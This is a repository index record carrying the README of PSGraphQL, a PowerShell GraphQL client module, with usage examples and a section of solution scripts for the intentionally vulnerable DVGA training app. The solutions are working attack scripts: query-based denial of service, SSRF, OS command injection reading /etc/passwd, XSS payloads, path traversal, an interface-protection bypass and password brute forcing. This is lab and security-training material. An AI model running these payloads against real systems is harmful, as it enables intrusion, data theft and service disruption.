{"id":14976148,"url":"https://github.com/anthonyg-1/psgraphql","last_synced_at":"2025-07-02T13:06:41.102Z","repository":{"id":40202956,"uuid":"346132962","full_name":"anthonyg-1/PSGraphQL","owner":"anthonyg-1","description":"This PowerShell module contains functions that facilitate querying and create, update, and delete operations (mutations) for GraphQL, which is an an open-source data language for APIs. For more on GraphQL please see: https://graphql.org/.","archived":false,"fork":false,"pushed_at":"2025-04-07T12:46:36.000Z","size":253,"stargazers_count":57,"open_issues_count":0,"forks_count":9,"subscribers_count":6,"default_branch":"main","last_synced_at":"2025-06-25T08:02:59.490Z","etag":null,"topics":["graphql","graphql-interface","graphql-introspection","graphql-query","powershell"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/anthonyg-1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2021-03-09T20:17:31.000Z","updated_at":"2025-04-07T12:43:36.000Z","dependencies_parsed_at":"2023-12-26T17:16:14.567Z","dependency_job_id":"61036090-a208-4c23-b2b8-c9eedb405f29","html_url":"https://github.com/anthonyg-1/PSGraphQL","commit_stats":null,"previous_names":[],"tags_count":38,"template":false,"template_full_name":null,"purl":"pkg:github/anthonyg-1/PSGraphQL","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSGraphQL","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSGraphQL/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSGraphQL/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSGraphQL/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/anthonyg-1","download_url":"https://codeload.github.com/anthonyg-1/PSGraphQL/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSGraphQL/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261832616,"owners_count":23216494,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["graphql","graphql-interface","graphql-introspection","graphql-query","powershell"],"created_at":"2024-09-24T13:53:23.478Z","updated_at":"2025-06-25T08:04:02.052Z","avatar_url":"https://github.com/anthonyg-1.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PSGraphQL\nThis PowerShell module contains functions that facilitate query and mutation operations against GraphQL endpoints.\n\n### Tested on\n:desktop_computer: `Windows 10/11`\n:penguin: `Linux`\n:apple: `MacOS`\n\n### Requirements\nRequires PowerShell 5.1 or above.\n\n### Installation\n\n```powershell\nInstall-Module -Name PSGraphQL -Repository PSGallery -Scope CurrentUser\n```\n\n## Examples\n\n### Send a GraphQL query to an endpoint including operation name and variables\n```powershell\n\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$query = '\n    query RollDice($dice: Int!, $sides: Int!) {\n        rollDice(numDice: $dice, numSides: $sides)\n}'\n\n$opName = \"RollDice\"\n\n$variables = '\n    {\n        \"dice\": 3,\n        \"sides\": 6\n    }'\n\nInvoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri       \n```\n\n### Send a GraphQL query with a query defined in a file\n```powershell\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$queryFilePath = \"./queries/rolldice.gql\"\n\nInvoke-GraphQLQuery -FilePath $queryFilePath -Uri $uri\n```\n\n### Send a GraphQL query to an endpoint including operation name and variables as a HashTable\n```powershell\n\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$query = '\n    query RollDice($dice: Int!, $sides: Int!) {\n        rollDice(numDice: $dice, numSides: $sides)\n}'\n\n$opName = \"RollDice\"\n$variables = @{dice=3; sides=6}\n\nInvoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri       \n```\n\n### Send a GraphQL introspection query to an endpoint with the results returned as JSON\n\n```powershell\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$introspectionQuery = '\n    query allSchemaTypes {\n        __schema {\n            types {\n                name\n                kind\n                description\n            }\n        }\n    }\n'\n\nInvoke-GraphQLQuery -Query $introspectionQuery -Uri $uri -Raw\n```\n\n### Send a GraphQL query to an endpoint with the results returned as objects\n\n```powershell\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$myQuery = '\n    query {\n        users {\n            created_at\n            id\n            last_seen\n            name\n        }\n    }\n'\n\nInvoke-GraphQLQuery -Query $myQuery -Uri $uri\n```\n\n### Send a GraphQL mutation to an endpoint with the results returned as JSON\n\n```powershell\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$myMutation = '\n    mutation MyMutation {\n        insert_users_one(object: {id: \"57\", name: \"FirstName LastName\"}) {\n        id\n    }\n}\n'\n\n$requestHeaders = @{ \"x-api-key\"='aoMGY{+93dx\u0026t!5)VMu4pI8U8T.ULO' }\n\n$jsonResult = Invoke-GraphQLQuery -Mutation $myMutation -Headers $requestHeaders -Uri $uri -Raw\n```\n\n### Send a GraphQL query using JWT for authentication to an endpoint and navigate the results\n\n```powershell\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic\"\n\n$headers = @{Authorization=\"Bearer $jwt\"}\n\n$uri = \"https://mytargetserver/v1/graphql\"\n\n$myQuery = '\n    query GetUsers {\n        users {\n            created_at\n            id\n            last_seen\n            name\n    }\n}\n'\n\n$result = Invoke-GraphQLQuery -Query $myQuery -Headers $headers -Uri $uri\n$result.data.users | Format-Table\n```\n\n### Send a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases)\n\n```powershell\ngql -q 'query { users { created_at id last_seen name } }' -u 'https://mytargetserver/v1/graphql' -r\n```\n\n### Get a list of variable definitions from a GraphQL query\n```powershell\n$query = '\n    query RollDice($dice: Int!, $sides: Int) {\n        rollDice(numDice: $dice, numSides: $sides)\n}'\n\nGet-GraphQLVariableList -Query $query\n```\n\n### Perform parameter fuzzing against a GraphQL endpoint based on discovered parameters (security testing)\n```powershell\n$mutation = '\n    mutation AddNewPet ($name: String!, $petType: PetType, $petLocation: String!, $petId: Int!) {\n            addPet(name: $name, petType: $petType, location: $petLocation, id: $petId) {\n            name\n            petType\n            location\n            id\n        }\n    }'\n\n$wordListPath = \".\\SQL.txt\"\n$words = [IO.File]::ReadAllLines($wordListPath)\n\n$uri = \"https://mytargetserver/v1/graphql\"\n\n# Array to store results from Invoke-GraphQLQuery -Detailed for later analysis:\n$results = @()\n\n# Get the variable definition from the supplied mutation:\n$variableList = $mutation | Get-GraphQLVariableList\n\n$words | ForEach-Object {\n    $queryVarTable = @{}\n    $word = $_\n\n    $variableList | Select Parameter, Type | ForEach-Object {\n        $randomInt = Get-Random       \n        if ($_.Type -eq \"Int\") {\n            if (-not($queryVarTable.ContainsKey($_.Parameter))) {\n                $queryVarTable.Add($_.Parameter, $randomInt)               \n            }\n        }\n        else {\n            if (-not($queryVarTable.ContainsKey($_.Parameter))) {\n                $queryVarTable.Add($_.Parameter, $word)                \n            }\n        }\n    }\n\n    $gqlResult = Invoke-GraphQLQuery -Mutation $mutation -Variables $queryVarTable -Headers $headers -Uri $uri -Detailed    \n    $result = [PSCustomObject]@{ParamValues = ($queryVarTable); Result = ($gqlResult) }    \n    $results += $result\n}\n```\n\n# Damn Vulnerable GraphQL Application Solutions\n\nThe \"Damn Vulnerable GraphQL Application\" is an intentionally vulnerable implementation of the GraphQL technology that allows a tester to learn and practice GraphQL security. For more on DVGQL, please see: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application\n\nThe solutions below are written in PowerShell exclusively but one of the solutions required Invoke-WebRequest as opposed to Invoke-GraphQLQuery.\n\n```powershell\n# GraphQL endpoint for all solutions below:\n$gqlEndpointUri = \"https://mygraphqlserver.company.com/graphql\"\n```  \n  \n  \n## Denial of Service :: Batch Query Attack\n\n```powershell\n# Specify amount of queries to generate:\n$amountOfQueries = 100\n\n# Base query:\n$sysUpdateQuery = '\nquery {\n    systemUpdate\n}\n'\n\n# For 1 to $amountOfQueries, concatenate $sysUpdateQuery and assign to $batchQueryAttackPayload:\n$batchQueryAttackPayload = ((1..$amountOfQueries | ForEach-Object { $sysUpdateQuery }).Trim()) -join \"`r`n\"\n\n# Send batch attack to GraphQL endpoint:\nInvoke-GraphQLQuery -Uri $gqlEndpointUri -Query $batchQueryAttackPayload\n```\n\n## Denial of Service :: Deep Recursion Query Attack\n```powershell\n\n$depthAttackQuery = '\nquery {\n      pastes {\n        owner {\n          paste {\n            edges {\n              node {\n                  owner {\n                    paste {\n                      edges {\n                        node {\n                          owner {\n                            paste {\n                              edges {\n                                node {\n                                  owner {\n                                    id\n                                  }\n                                }\n                              }\n                            }\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n'\n\nInvoke-GraphQLQuery -Query $depthAttackQuery -Uri $gqlEndpointUri -Raw\n```\n\n\n## Denial of Service :: Resource Intensive Query Attack\n```powershell\n$timingTestPayload = '\n    query TimingTest {\n      systemUpdate\n    }\n'\n\n$start = Get-Date\n\nInvoke-GraphQLQuery -Query $timingTestPayload -Uri $gqlEndpointUri -Raw\n\n$end = Get-Date\n\n$delta = $end - $start\n$totalSeconds = $delta.Seconds\n$message = \"Total seconds to execute query: {0}\" -f $totalSeconds\n\nWrite-Host -Object $message -ForegroundColor Cyan\n```\n\n## Information Disclosure :: GraphQL Introspection\n```powershell\n$introspectionQuery = '\n  query {\n      __schema {\n        queryType { name }\n        mutationType { name }\n        subscriptionType { name }\n      }\n    }\n'\n\nInvoke-GraphQLQuery -Query $introspectionQuery -Uri $gqlEndpointUri -Raw\n```\n\n\n## Information Disclosure :: GraphQL Interface\n```powershell\n\n$graphiqlUri = \"{0}/graphiql\" -f $targetUri\n\n$headers = @{Accept=\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\"}\n\nInvoke-WebRequest -Uri $graphiqlUri -Headers $headers -Method Get -UseBasicParsing | Select -ExpandProperty Content\n```\n\n\n## Information Disclosure :: GraphQL Field Suggestions\n```powershell\n$fieldSuggestionsQuery = '\n    query {\n        systemUpdate\n    }\n'\n\nInvoke-GraphQLQuery -Query $fieldSuggestionsQuery -Uri $gqlEndpointUri -Raw\n```\n\n\n## Information Disclosure :: Server Side Request Forgery\n```powershell\n$requestForgeryMutation = '\nmutation {\n    importPaste(host:\"localhost\", port:57130, path:\"/\", scheme:\"http\") {\n      result\n    }\n}\n'\n\nInvoke-GraphQLQuery -Mutation $requestForgeryMutation -Uri $gqlEndpointUri -Raw\n```\n\n\n## Code Execution :: OS Command Injection #1\n```powershell\n$commandToInject = \"ls -al\"\n\n$commandInjectionMutation = '\n  mutation  {\n    importPaste(host:\"localhost\", port:80, path:\"/ ; ' + $commandToInject + '\", scheme:\"http\"){\n      result\n    }\n  }\n'\n\n$response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri\n\n$result = $response.data.importPaste.result\n\nWrite-Host -Object $result -ForegroundColor Magenta\n```\n\n\n## Code Execution :: OS Command Injection #2\n```powershell\n# Admin creds for DVGQL:\n$userName = \"admin\"\n$password = \"password\"\n\n$commandToInject = \"ls -alr\"\n\n$commandInjectionQuery = '\n    query {\n        systemDiagnostics(username:\"' + $userName + '\" password:\"' + $password + '\", cmd:\"id; ' + $commandToInject + '\")\n    }\n'\n\nInvoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw\n```\n\n## Code Execution :: OS Command Injection #3\n```powershell\n# Admin creds for DVGQL:\n$userName = \"admin\"\n$password = \"password\"\n\n$commandToInject = \"cat /etc/passwd\"\n\n$commandInjectionQuery = '\n    query {\n        systemDiagnostics(username:\"' + $userName + '\" password:\"' + $password + '\", cmd:\"' + $commandToInject + '\")\n    }\n'\n\nInvoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw\n```\n\n## Code Execution :: OS Command Injection #4\n```powershell\n# Credit Zachary Asher for this one!\n# This is abstracting \"cat /etc/passwd via the following:\n# 1. Change directory via \"cd\" repeatedly to get to the root directory\n# 2. Change director to the etc directory...\n# 3. ...and finally execute \"cat\" (concatenate) to read the contents of the passwd file:\n$commandToInject = \"cd .. \u0026\u0026 cd .. \u0026\u0026 cd .. \u0026\u0026 cd etc \u0026\u0026 cat passwd\"\n\n$commandInjectionMutation = '\nmutation  {\n      importPaste(host:\"localhost\", port:80, path:\"/ ; ' + $commandToInject + '\", scheme:\"http\"){\n        result\n      }\n    }\n'\n\n$response = $null\ntry {\n    $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop\n    $result = $response.data.importPaste.result\n    Write-Host -Object $result -ForegroundColor Magenta\n}\ncatch\n{\n    Write-Host -Object $_.Exception -ForegroundColor Red\n}\n```\n\n## Code Execution :: OS Command Injection #5\n```powershell\n# Find all conf files:\n$commandToInject = \"find / -type f -name '*.conf' 2\u003e/dev/null\"\n\n$commandInjectionMutation = '\nmutation  {\n      importPaste(host:\"localhost\", port:80, path:\"/ ; ' + $commandToInject + '\", scheme:\"http\"){\n        result\n      }\n    }\n'\n\n$response = $null\ntry {\n    $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop\n    $result = $response.data.importPaste.result\n    Write-Host -Object $result -ForegroundColor Magenta\n}\ncatch\n{\n    Write-Host -Object $_.Exception -ForegroundColor Red\n}\n```\n\n\n\n## Injection :: Stored Cross Site Scripting\n```powershell\n$xssInjectionMutation = '\n    mutation XcssMutation {\n        uploadPaste(content: \"\u003cscript\u003ealert(1)\u003c/script\u003e\", filename: \"C:\\\\temp\\\\file.txt\") {\n            content\n            filename\n            result\n        }\n    }\n'\n\nInvoke-GraphQLQuery -Mutation $xssInjectionMutation -Uri $gqlEndpointUri -Raw\n```\n\n\n## Injection :: Log Injection\n```powershell\n$logInjectionMutation = '\n    mutation getPaste{\n        createPaste(title:\"\u003cscript\u003ealert(1)\u003c/script\u003e\", content:\"zzzz\", public:true) {\n                burn\n                content\n                public\n                title\n            }\n    }\n'\n\nInvoke-GraphQLQuery -Mutation $logInjectionMutation -Uri $gqlEndpointUri\n```\n\n\n## Injection :: HTML Injection\n```powershell\n$htmlInjectionMutation = '\n    mutation myHtmlInjectionMutation {\n        createPaste(title:\"\u003ch1\u003ehello!\u003c/h1\u003e\", content:\"zzzz\", public:true) {\n            burn\n            content\n            public\n            title\n        }\n    }\n'\n\nInvoke-GraphQLQuery -Mutation $htmlInjectionMutation -Uri $gqlEndpointUri -Raw\n```\n\n\n## Authorization Bypass :: GraphQL Interface Protection Bypass\n```powershell\n$reconQuery = '\n   query IntrospectionQuery {\n  __schema {\n    queryType {\n      name\n    }\n    mutationType {\n      name\n    }\n    subscriptionType {\n      name\n    }\n  }\n}\n'\n\n$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new()\n$cookie = [System.Net.Cookie]::new()\n$cookie.Name = \"env\"\n# $cookie.Value = \"Z3JhcGhpcWw6ZGlzYWJsZQ\" # This is base64 for graphiql:disable\n$cookie.Value = \"Z3JhcGhpcWw6ZW5hYmxl\" # This is base64 for graphiql:enable\n$domain = [Uri]::new($gqlEndpointUri).Host\n$cookie.Domain = $domain\n$session.Cookies.Add($cookie)\n\nInvoke-GraphQLQuery -Query $reconQuery -Uri $gqlEndpointUri -WebSession $session -Raw\n```\n\n\n## GraphQL Query Deny List Bypass\n```powershell\n$bypassQuery = '\n    query BypassMe {\n      systemHealth\n    }\n'\n\n$headers= @{'X-DVGA-MODE'='Expert'}\n\nInvoke-GraphQLQuery -Query $bypassQuery -Uri $gqlEndpointUri -Headers $headers -Raw\n```\n\n\n## Miscellaneous :: Arbitrary File Write // Path Traversal\n```powershell\n$pathTraversalMutation = '\n    mutation PathTraversalMutation {\n            uploadPaste(filename:\"../../../../../tmp/file.txt\", content:\"path traversal test successful\"){\n            result\n        }\n    }\n'\n\nInvoke-GraphQLQuery -Mutation $pathTraversalMutation -Uri $gqlEndpointUri -Raw\n```\n\n\n## Miscellaneous :: GraphQL Query Weak Password Protection\n```powershell\n$passwordList = @('admin123', 'pass123', 'adminadmin', '123', 'password', 'changeme', 'password54321', 'letmein', 'admin123', 'iloveyou', '00000000')\n\n$command = \"ls\"\n\nforeach ($pw in $passwordList)\n{\n    $bruteForceAuthQuery = '\n        query bruteForceQuery {\n          systemDiagnostics(username: \"admin\", password: \"' + $pw + '\", cmd: \"' + $command + '\")\n        }\n    '\n\n    $result = Invoke-GraphQLQuery -Query $bruteForceAuthQuery -Uri $gqlEndpointUri\n\n    if ($result.data.systemDiagnostics -ne \"Password Incorrect\") {\n        Write-Host -Object $(\"The password is: \") -ForegroundColor Yellow -NoNewline\n        Write-Host -Object $pw -ForegroundColor Green\n    }\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanthonyg-1%2Fpsgraphql","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fanthonyg-1%2Fpsgraphql","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanthonyg-1%2Fpsgraphql/lists"}